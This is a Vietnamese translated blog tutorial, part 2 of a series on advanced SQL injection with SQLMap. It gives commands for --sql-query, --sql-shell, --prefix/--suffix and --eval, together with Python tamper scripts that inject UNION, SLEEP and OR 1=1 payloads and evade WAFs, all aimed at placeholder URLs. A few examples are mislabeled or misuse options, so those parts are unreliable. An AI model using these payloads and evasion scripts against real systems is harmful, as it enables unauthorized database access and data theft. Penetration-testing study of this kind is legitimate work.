Notification texts go here Contact Us Buy Now!

[Bản dịch] Kỹ thuật SQL Injection nâng cao - Phần 2

Table of Contents

Thêm Payload tùy chỉnh trực tiếp trong cú pháp SQLMap

SQLMap cho phép bạn chỉ định các truy vấn SQL của riêng bạn bằng cách sử dụng tùy chọn `--sql-query`. Điều này đặc biệt hữu ích khi bạn muốn chèn các tải trọng cụ thể để kiểm tra các lỗ hổng SQL injection.

Bạn có thể thêm payload tùy chỉnh trực tiếp trong cú pháp SQLMap bằng tùy chọn --sql-query hoặc bằng cách tùy chỉnh payload thông qua tập lệnh tamper. Dưới đây, tôi sẽ chỉ cho bạn cách thêm payload tùy chỉnh trực tiếp bằng SQLMap cũng như thông qua tập lệnh tamper.

Thêm Payloads tùy chỉnh trực tiếp vào SQLMap

SQLMap cho phép bạn chỉ định các truy vấn SQL của riêng bạn bằng tùy chọn này --sql-query. Điều này đặc biệt hữu ích khi bạn muốn inject các payload cụ thể để kiểm tra SQL injection.

Ví dụ: Sử dụng --sql-query

1. Tải trọng tùy chỉnh đơn giản
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
2. Tải trọng tùy chỉnh dựa trên Union
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="UNION SELECT null, database(), user(), version()"

Tùy chỉnh Payloads với Tamper Scripts

Nếu bạn cần linh hoạt hơn và muốn áp dụng các tải trọng tùy chỉnh một cách có hệ thống, bạn có thể tạo một tập lệnh giả mạo để sửa đổi các tải trọng mặc định được SQLMap sử dụng.

Ví dụ: Tập lệnh Tamper tùy chỉnh

1. Tạo một tập lệnh Tamper tùy chỉnh

Tạo một tệp Python mới trong thư mục cài đặt tamper SQLMap của bạn, ví dụ: custom_payload_tamper.py.
#!/usr/bin/env python
import random
__priority__ = 1
def dependencies():
    pass
def tamper(payload):
    """
    Custom tamper script to inject custom payloads
    """
    if payload:
        # Example of replacing spaces with comments and adding a custom payload
        payload = payload.replace(" ", "/**/")
        if "SELECT" in payload.upper():
            payload = payload.replace("SELECT", "SELECT/**/custom_function(),")
    return payload
2. Lưu tập lệnh

Lưu tập lệnh này vào thư mục tamper SQLMap.

3. Sử dụng Tamper Script với SQLMap

Chạy SQLMap với tập lệnh giả mạo tùy chỉnh của bạn để áp dụng các sửa đổi vào tải trọng.
 sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=custom_payload_tamper

Ví dụ nâng cao với nhiều Payloads

Bạn có thể kết hợp nhiều payload và tập lệnh giả mạo để tạo ra các thử nghiệm tiêm phức tạp hơn. Dưới đây là một ví dụ nâng cao trong đó các payload tùy chỉnh được áp dụng một cách có hệ thống cho các yêu cầu.

Ví dụ: Kết hợp nhiều kỹ thuật

1. Tạo một tập lệnh giả mạo phức tạp
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Custom tamper script to apply multiple custom payloads
    """
    if payload:
        payload = payload.replace(" ", "/**/")
        
    
        if "UNION" in payload.upper():
            payload += " UNION SELECT null, user(), database(), version() --"
        
         
        if "AND" in payload.upper():
            payload += " AND IF(1=1, SLEEP(5), 0) --"
        
        
        if "OR" in payload.upper():
            payload += " OR (SELECT 1/0 FROM dual) --"
        
    return payload
2. Lưu và sử dụng tập lệnh

Lưu tập lệnh complex_tamper.py này vào thư mục tamper.
 
3. Chạy SQLMap với Complex Tamper Script
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=complex_tamper

--sql-query Tận dụng tùy chọn của SQLMap

Tùy chọn --sql-query này cho phép bạn trực tiếp chỉ định các truy vấn SQL cần thực hiện. Điều này hữu ích cho việc kiểm tra injection chính xác.

Ví dụ: Truy vấn tùy chỉnh với --sql-query

1. Truy vấn phiên bản trực tiếp
Lệnh này kiểm tra phiên bản của cơ sở dữ liệu:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
2. Truy vấn dựa trên Union
Lệnh này lấy nhiều thông tin như tên cơ sở dữ liệu, người dùng hiện tại và phiên bản cơ sở dữ liệu:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
3. Injection truy vấn phụ
Lệnh này sử dụng truy vấn phụ để trích xuất tên bảng:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT (SELECT table_name FROM information_schema.tables LIMIT 1)"

Sử dụng --sql-shell cho Injection tương tác

SQLMap --sql-shell cung cấp một shell SQL tương tác để thực thi các lệnh SQL tùy ý.

Ví dụ: Khởi động SQL Shell

1. Shell tương tác

Khởi động shell SQL tương tác để thực thi lệnh SQL theo cách thủ công:
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-shell
2. Thực hiện lệnh trong Shell

Thực hiện các lệnh trong shell SQL để lấy thông tin:
sql-shell> SELECT user();
sql-shell> SELECT database();
sql-shell> SELECT table_name FROM information_schema.tables;

Tạo tập lệnh Tamper tùy chỉnh

Các tập lệnh giả mạo có thể sửa đổi dữ liệu một cách linh hoạt để vượt qua WAF và các biện pháp bảo mật khác.

Ví dụ: Advanced Custom Tamper Script

1. Script để thêm bình luận ngẫu nhiên

Tạo một tập lệnh random_comment_tamper.py:
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Adds random inline comments to the payload
    """
    if payload:
        parts = payload.split(" ")
        payload = " /*" + str(random.randint(1000, 9999)) + "*/ ".join(parts)
    return payload
2. Lưu và sử dụng tập lệnh

Lưu tập lệnh này vào thư mục tamper SQLMap và sử dụng nó:
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_comment_tamper

Tải trọng tùy chỉnh với --prefix--suffix

Bạn có thể sử dụng --prefix và --suffixthêm các đoạn mã SQL tùy chỉnh trước và sau tải trọng.

Ví dụ: Sử dụng --prefix--suffix

1. Thêm Tiền tố và Hậu tố

Thêm đoạn mã tùy chỉnh trước và sau phần tải trọng:
sqlmap -u "http://example.com/vulnerable.php?id=1" --prefix="/**/SELECT/**/" --suffix="/**/FROM/**/dual"
2. Injection với Custom Wrappers

Bao bọc payloads bằng các điều kiện tùy chỉnh:
sqlmap -u "http://example.com/vulnerable.php?id=1" --prefix="' OR 1=1; /*" --suffix="*/ --"

--eval Sử dụng tùy chọn của SQLMap

Tùy chọn --eval này cho phép đánh giá mã Python trước khi gửi yêu cầu, có thể được sử dụng để tạo tải trọng động.

Ví dụ: Tạo tải trọng động với --eval

1. Thế hệ động

Tạo một tải trọng động bằng mã Python:
 sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)"

Kết hợp các kỹ thuật để kiểm tra tự động

Bạn có thể kết hợp nhiều kỹ thuật để thực hiện thử nghiệm tự động toàn diện.

Ví dụ: Kiểm tra hoàn toàn tự động với payloads tùy chỉnh

1. Payloads tùy chỉnh nâng cao kết hợp

Kết hợp nhiều phương pháp khác nhau để tạo ra lệnh thử nghiệm toàn diện:
 sqlmap -u "http://example.com/vulnerable.php?id=1" \
   --sql-query="UNION SELECT null, database(), user(), version()" \
   --tamper=random_comment_tamper \
   --prefix="' OR 1=1; /*" \
   --suffix="*/ --" \
   --level=5 --risk=3
Ví dụ về một tập lệnh Tamper nâng cao để kiểm tra tự động

Ví dụ: Injection ngẫu nhiên theo thời gian

1. Kịch bản random_time_tamper.py

Tạo một tập lệnh để thêm độ trễ ngẫu nhiên theo thời gian vào tải trọng:
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Adds a random time-based delay to the payload
    """
    if payload:
        delay = random.randint(1, 10)
        payload = payload.replace(" ", "/**/") + f" AND SLEEP({delay})"
    return payload
2. Sử dụng với SQLMap
Sử dụng tập lệnh với SQLMap:
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_time_tamper

Hết Phần 2

Phần 1 tại đây | Phần 3 tại đây 

Đăng nhận xét

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.